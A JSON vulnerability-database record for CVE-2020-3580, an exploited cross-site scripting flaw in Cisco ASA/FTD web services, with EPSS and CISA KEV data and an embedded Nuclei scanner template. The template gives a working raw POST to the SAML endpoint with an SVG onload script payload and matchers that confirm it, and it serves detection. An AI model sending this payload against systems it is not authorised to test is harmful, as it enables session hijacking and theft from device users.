{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-3580/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-3580/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-3580/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-3580/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-3580/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-3580"},"sightings":{"href":"/api/v1/sightings/cve-2020-3580"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.85575,"kev":true,"percentile":0.99713},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-3580.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2020-3580\n\ninfo:\n  name: Cisco ASA/FTD Software - Cross-Site Scripting\n  author: pikpikcu\n  severity: medium\n  description: |\n    Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.\n  remediation: |\n    Apply the latest security patches or updates provided by Cisco to mitigate this vulnerability.\n  reference:\n    - https://twitter.com/ptswarm/status/1408050644460650502\n    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-3580\n    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors\n    - https://github.com/r0eXpeR/supplier\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2020-3580\n    cwe-id: CWE-79\n    epss-score: 0.85575\n    epss-percentile: 0.99713\n    cpe: cpe:2.3:o:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: cisco\n    product: firepower_threat_defense\n  tags: cve,cve2020,xss,cisco,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        SAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<svg/onload=alert(/{{randstr}}/)>'\n\n      - type: word\n        part: header\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100f6cbfa24b99f337234bcb4c0ea9ad7c0876f12924ed0c7bb2e2173b4b8b8accb02207e523aa961ca164df4731b54ef5a6092468a1ce02b4efd723c5a42db57860e07:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2020-3580"}